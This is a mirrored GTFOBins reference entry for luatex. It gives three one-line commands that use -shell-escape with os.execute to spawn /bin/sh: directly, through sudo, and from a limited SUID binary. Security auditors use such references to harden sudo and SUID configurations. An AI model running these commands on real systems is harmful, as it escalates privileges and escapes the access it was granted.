mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
11 lines
344 B
Markdown
11 lines
344 B
Markdown
---
|
|
description: This allows to execute [`lua`](/gtfobins/lua/) code.
|
|
functions:
|
|
shell:
|
|
- code: luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
|
|
sudo:
|
|
- code: sudo luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
|
|
limited-suid:
|
|
- code: ./luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
|
|
---
|